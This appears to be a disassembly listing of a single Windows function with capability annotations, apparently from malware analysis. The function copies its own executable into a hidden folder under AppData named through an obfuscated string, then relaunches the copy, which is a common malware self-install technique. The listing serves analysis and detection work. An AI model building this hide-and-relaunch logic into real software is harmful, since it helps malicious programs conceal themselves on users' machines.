Function at 0x1400015e9
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Get common file path
Get file attributes
Set file attributes

Disassembly:
push rbp
push rbx
sub rsp, 0x2b8
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0xe0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x1c
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
not eax
shr eax, 0x1f
test al, al
je 0x14000181e
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp - 0x30]
add rax, rdx
movabs rdx, 0x73776f646e69575c
movabs rcx, 0x6f69736e65747845
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov dword [rax + 0xf], 0x736e6f
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp + 0x22c], eax
cmp dword [rbp + 0x22c], 0xffffffff
je 0x1400016b1
mov eax, dword [rbp + 0x22c]
and eax, 0x10
test eax, eax
jne 0x1400016c6
lea rax, [rbp - 0x30]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp + 0x22c], eax
mov eax, dword [rbp + 0x22c]
and eax, 2
test eax, eax
jne 0x140001704
mov eax, dword [rbp + 0x22c]
or eax, 2
mov edx, eax
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
lea rax, [rbp + 0x21f]
mov qword [rbp + 0x220], rax
nop
nop
lea rcx, [rbp + 0x21f]
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x1f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x1f0]
lea r8, str.program.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x21f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
lea rax, [rbp + 0xe0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
sete al
test al, al
je 0x14000179c
mov ebx, 1
jmp 0x140001810
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
lea rax, [rbp + 0xe0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
setne al
test al, al
je 0x14000180b
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ebx, 0
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001823
mov ebx, 1
mov eax, ebx
jmp 0x140001873
add rsp, 0x2b8
pop rbx
pop rbp
ret